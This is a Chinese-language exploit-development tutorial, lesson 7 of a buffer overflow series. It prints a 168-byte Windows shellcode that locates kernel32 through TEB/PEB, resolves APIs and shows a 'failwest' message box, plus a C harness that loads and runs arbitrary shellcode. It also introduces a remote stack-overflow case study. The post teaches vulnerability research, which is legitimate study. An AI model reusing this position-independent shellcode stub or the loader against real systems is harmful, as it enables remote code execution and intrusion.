7 案例
溢出了的缓冲区,找不到来时的路……
通过一周多的基础教学,相信学完前面 6 讲的朋友们已经初步掌握了缓冲区溢出的最基本原理,我称之为初级+出门。
我们仍然缺少的关于栈溢出的基础知识包括:
1.如何灵活的选取跳转指令(跳板)
2.如何灵活的布置缓冲区,把 shellcode 摆放在恰当的位置
3.如何在 shellcode 中动态定位 windows API。
4.如何利用淹没 S.E.H 劫持进程,植入 shellcode
5.如何恢复寄存器内容,在溢出后仍然找到“回头路”,
……
这些知识在《0day 安全:软件漏洞分析与利用》中都有和先前的教程一样详细而又通俗的论述。然而迫于《0day》即将上架的商业因素的压力,我没有办法继续在教程中公布样章了——因为算下来 400 来页的书已经被我贴出来了 60 多页了,再贴就没有出版社愿意替我印了:)
在教程的跟贴之中看到许多朋友们遇到困难,提出问题,最终解决问题——不禁让我回想起自己当年自己钻研时的情景。本着对教学负责的态度,在本节我给出一个能够自己动态定位 API 的 shellcode。
char popup_general[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
上面这段机器码的作用仍然是弹出一个消息框显示 failwest。用的方法大概如下:通过 FS[0] 定位 TEB,通过 TEB 找到 PEB,进而找到 PE 的导入导出表,再定位 kerner32.dll 的位置,顺藤摸瓜定位到 LoadLibraryA,之后就是康庄大道了 ……
关于这段 shellcode 的细节分析么,呵呵,参看《0day 安全》吧。我要说的是我在开发并调试这段 shellcode 的时候,总共用了 5 天时间(我的汇编基础比较差),之后在各种漏洞场景下实验并改进,最终得出的这段 168 字节的代码是比较通用和稳定的,我经常用它作为验证漏洞是否可以被 exploit 的 POC (proof of concept)代码。
由于 shellcode 往往是在很“恶劣”的环境下被加载的,要想调试这些机器码得动动脑筋才行。我这里给出一个测试和调试 shellcode 的样例代码:
char shellcode[]="\x66\x81\xEC\x40\x04\x33\xDB……"; // 欲调试的 16 进制机器码" void main(){ unsigned char MachineCode[256]=""; strncpy(MachineCode, shellcode,256); __asm{ lea eax, MachineCode push eax ret } }
上述代码可以简单的模拟漏洞场景并加载运行 shellcode。
好了,虽然现在大家对 shellcode 的具体开发方法还并不是非常清楚,但是我已经给出了一个比较通用的现成货,而且教给你了调试方法,你完全可以从网上搜点各种功能的 shellcode 来试试。(实际上我将使用 MetaSploit 生成各种常见功能的 shellcode,甚至对 shellcode 加个简单的“壳”,自然这部分内容得参见《0day》了)
所以,从技术角度,您已经具备了独立完成溢出利用的最基本技能。
书中的样章不能贴了,但是我们的教学还会继续。今天我要贴出一篇我一年半以前写的漏洞案例分析文章。这篇文章曾经在《黑客防线》上登出过,网上有不少转载,但我个人从未在网络上公布过。
虽然转载者基本上从来不会著名文章的出处和作者,但我身上那种与生俱来的程序员的劣根性,总是让我把代码中的变量尽可能多的命名为与 failwest 相关的东东,也正是这种劣根性,您可以方便的通过 failwest 搜出这些文章:)
今天在看雪上是我第一次正式在网络上公布这篇文章,并且是连同所有附带资料一起放送。
这是一个典型的栈溢出漏洞,攻击者通过发送畸形的数据包,可以溢出操作系统中的服务进程,进而远程控制服务器——这也是最标准,最典型,最真实的入侵过程。
在学习这篇文章的时候,希望大家使用 Vmware,自制一个存在漏洞的 windows2000 操作系统(1 年前发布的真实漏洞)。
在后面的教程中,我还会邀请一些在漏洞分析方面很有造诣的朋友来贡献一些案例分析文章。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论